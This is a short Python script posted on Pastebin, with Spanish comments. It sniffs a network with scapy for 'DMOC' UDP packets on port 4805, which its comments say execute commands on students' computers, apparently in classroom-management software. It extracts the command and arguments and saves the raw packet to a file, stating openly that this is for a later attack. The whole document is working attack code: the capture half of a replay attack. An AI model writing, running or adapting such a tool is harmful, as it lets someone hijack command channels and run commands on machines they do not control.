Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3.  
  4. """ Sniffea la red en busca de paquetes DMOC, que ejecutan comandos en alumnos.
  5. Cuando los encuentra, los almacena para un posterior ataque """
  6.  
  7. # Usamos la librería scapy para sniffear
  8. from scapy.all import *
  9.  
  10. # Para procesar argumentos
  11. import sys, getopt
  12.  
  13. filename = 'packet'
  14. def process(packet):
  15.     """ La función se invoca pasándole como argumento un paquete UDP """
  16.     global filename
  17.  
  18.     # Verificamos que el paquete sea DMOC
  19.     if packet.load[:4] == 'DMOC' and len(packet)==948:
  20.         data = packet.load
  21.         cmd = data[60:]
  22.         i = cmd.find('\x00\x00')
  23.         cmd = cmd[:i]
  24.  
  25.         args = data[572:]
  26.         i = args.find('\x00\x00')
  27.         args = args[:i]
  28.  
  29.         f = open(filename,'w')
  30.         f.write(data)
  31.         f.close()
  32.         print cmd, args, 'guardado en', filename
  33.         exit()
  34.  
  35. def uso():
  36.     print 'Uso:', sys.argv[0],'[-o foobar]'
  37.     exit()
  38.  
  39. def main():
  40.     global filename
  41.     try:
  42.         opt, args = getopt.getopt(sys.argv[1:], 'o:')
  43.     except getopt.GetoptError:
  44.         uso()
  45.    
  46.     for op,val in opt:
  47.         if op=='-o':
  48.             filename = val
  49.     sniff(prn=process, filter="udp and port 4805")
  50.  
  51. if(__name__ == '__main__'):
  52.     main()